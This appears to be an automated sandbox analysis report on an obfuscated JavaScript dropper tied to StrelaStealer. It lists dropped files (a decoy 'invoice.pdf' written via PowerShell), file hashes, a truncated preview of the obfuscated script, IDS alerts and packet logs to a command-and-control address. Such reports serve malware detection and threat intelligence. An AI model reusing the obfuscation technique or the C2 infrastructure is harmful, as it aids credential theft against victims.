SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (16712), with CRLF line terminators
Entropy (8bit):	4.928619700618884
TrID:
File name:	262192623320272411.js
File size:	20'353 bytes
MD5:	55b90eac1dcf20bfaa9363249f996768
SHA1:	80149d5983b956bd2595f79ec144397e85bd257c
SHA256:	e3ae3b4ed2eadb1908fadbf857129e28e1c62a54d8d1e0508e2b30a53ff914f6
SHA512:	a7f0506c0eb15205bca12bcd6b61ffe86780a8cf253ea46784887776d0ba15f9854af40fbb3fede949d44e7be39f4fd830e91371604ffa139bed1eb84a416935
SSDEEP:	192:6fCeqhcGu4+5+AiAKjEivQi5AEsMJ1Jiat8WE+14T98qr6uPGsFKeBKDjvPDh4lV:Cq+GufwOK3Qi5AEsMJ1Jzw/6UQM
TLSH:	7D92509C87459FDD01F939A0538D046F03C487F8A955592B4C1B20D1BAABF38FAE64BB
File Content Preview:	function tluxg(){mpfhgpb=[1031,3079,5127,4103,2055,3072];var hcizdra=this[aowejljex+fvckk+fujqedmm+ypjkj+ecpjhfxmz+ryfzkz+gadisufp+dgocdil](this[vkpbvsd+wehkjt+wsswdiyn+fujqedmm+pmauldkms+aowejljex+dgocdil][baltegnp+fujqedmm+ecpjhfxmz+fvckk+dgocdil+ecpjhf

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-11T08:21:26.390811+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.6	49721	193.143.1.205	80	TCP
2025-01-11T08:21:26.390811+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.6	49721	193.143.1.205	80	TCP
2025-01-11T08:21:29.323897+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.6	49743	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 08:21:25.551026106 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:25.556055069 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:25.556139946 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:25.559521914 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:25.564368010 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.390713930 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.390743017 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.390758991 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.390810966 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.390822887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.390877008 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.390945911 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.390961885 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.390978098 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.390994072 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.391000986 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.391011000 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.391033888 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.391134977 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.391176939 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.395622015 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.448441029 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.448457003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.448503971 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.495774984 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.512085915 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.512110949 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.512172937 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.512195110 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.512244940 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.512263060 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.512284994 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.512300968 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.512362957 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.512871027 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.512885094 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.512926102 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.513036013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.513044119 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.513082981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.513103008 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.513456106 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.513489008 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.513504982 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.513542891 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.513572931 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.513608932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.513618946 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.513691902 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.514355898 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.514381886 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.514400959 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.514420986 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.514527082 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.514532089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.514604092 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.515223980 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.515242100 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.515275002 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.517154932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.517215014 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.583738089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.625080109 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.625125885 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.625135899 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.625148058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.625154972 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.625200033 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.633558035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633590937 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633603096 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633614063 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633620977 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.633642912 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.633646011 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633683920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633686066 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.633753061 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633764982 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633857965 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.633928061 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633944988 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633961916 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.633964062 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.634005070 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.634155035 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634224892 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634242058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634265900 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.634346008 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634377956 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.634484053 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634505987 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634516954 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634535074 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.634675026 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634685993 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634727955 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.634891987 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634903908 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634915113 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.634928942 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.634951115 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.635111094 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635122061 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635133028 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635144949 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635165930 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.635183096 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.635242939 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635282040 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635292053 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635308027 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635319948 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.635346889 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.635725021 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635735989 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635746956 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635777950 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.635859966 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635871887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635881901 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635894060 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.635895967 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.635915041 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.636066914 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.636079073 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.636090994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.636097908 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.636127949 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.636229992 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.636244059 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.636275053 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.636636972 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.676198006 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.676219940 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.676343918 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.717474937 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.717489004 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.717551947 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.746615887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.746690989 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.746701002 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.746758938 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.746771097 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.746783972 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.746797085 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.746807098 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.746833086 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.754894018 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.754906893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.754925013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.754978895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.754980087 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.754992962 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755018950 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.755053997 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755083084 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755084991 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.755151033 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755183935 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.755187988 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755199909 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755228043 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.755249977 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755347967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755366087 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755377054 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755387068 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.755423069 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.755475998 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755532026 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755543947 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755582094 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.755601883 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755618095 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755635977 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.755829096 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755841017 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755852938 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755863905 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.755867004 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755878925 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755892038 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.755899906 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.755919933 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.756058931 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756078005 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756123066 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.756160021 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756170988 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756181955 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756206989 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.756220102 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.756294012 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756428003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756463051 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.756465912 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756479025 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756529093 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.756570101 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756582022 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756592989 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756604910 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756656885 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.756798029 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756810904 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756825924 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756829023 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.756836891 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756850004 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756858110 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.756871939 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.756941080 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756953955 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756966114 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.756984949 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.757368088 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757379055 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757390976 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757397890 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.757421970 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.757481098 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757492065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757503986 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757515907 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757517099 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.757538080 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.757631063 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757642984 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757653952 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757667065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757667065 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.757680893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.757683992 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.757728100 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.759809971 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.759831905 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.759843111 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.759877920 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.759898901 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.759911060 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.759932995 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.760077953 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.760091066 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.760102034 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.760111094 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.760139942 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.760215044 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.760227919 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.760237932 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.760256052 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.760267019 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.760294914 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.760344982 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.760356903 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.760366917 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.760696888 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.768641949 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.768686056 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.768706083 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.768714905 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.768724918 CET	80	49721	193.143.1.205	192.168.2.6
Jan 11, 2025 08:21:26.768743992 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.776046991 CET	49721	80	192.168.2.6	193.143.1.205
Jan 11, 2025 08:21:26.805905104 CET	49721	80	192.168.2.6	193.143.1.205
